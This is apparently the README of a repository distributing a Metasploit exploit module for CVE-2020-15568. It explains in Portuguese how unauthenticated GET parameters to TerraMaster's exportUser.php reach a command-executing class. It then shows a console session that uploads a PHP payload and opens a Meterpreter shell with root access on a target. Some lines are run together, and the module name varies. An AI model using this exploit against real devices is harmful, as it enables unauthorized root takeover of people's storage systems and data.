
Repository for CVE-2020-15568 Metasploit module
Repositório para o módulo Metasploit CVE-2020-15568
Existe uma vulnerabilidade de invocação dinâmica de método de classe no arquivo include/exportUser.php que leva à execução de comandos remotos em dispositivos TerraMaster com privilégios de root. O arquivo vulnerável requer que vários parâmetros HTTP GET sejam fornecidos para alcançar a chamada de método e explorar esta vulnerabilidade. Na primeira linha, a aplicação inclui app.php que carrega automaticamente classes centrais relevantes do software TOS. A aplicação decide a operação com base no valor do parâmetro GET type. Se o valor da variável type for diferente de 1 ou 2, então é possível alcançar o código vulnerável. No código-fonte do exportUser.php, a aplicação requer os parâmetros HTTP GET cla (abreviação de class), func e opt.
Durante a revisão de código de outros arquivos também, descobriu-se que há uma maneira de explorar este problema com classes pré-existentes no software TOS. A classe PHP localizada em include/class/application.class.php é a melhor candidata para executar comandos em dispositivos que executam o software TOS. Como o exportUser.php não possui controles de autenticação, é possível para um atacante não autenticado alcançar a execução de código
use exploit/multi/http/terramaster_command_execset rhost 192.168.1.27check[+] 192.168.1.27:80 - The target is vulnerable.
Exploit targets:
Id Name
-- ----
0 Auto
msf5 > use exploit/multi/http/terra_master_command_exec
msf5 exploit(exploit/multi/http/terramaster_command_exec) > set rhost 192.168.1.27
rhost => 192.168.1.27
msf5 exploit(multi/http/terramaster_command_exec) > run
[+] Payload uploaded to /logs/FJETBHLL/.vatw.php
[+] Payload successfully triggered !
[*] Started bind TCP handler against 192.168.1.27:9090
[*] Sending stage (38288 bytes) to 192.168.1.27
[*] Meterpreter session 1 opened (0.0.0.0:0 -> 192.168.1.27:9090) at 2020-07-23 09:49:34 +0300
meterpreter >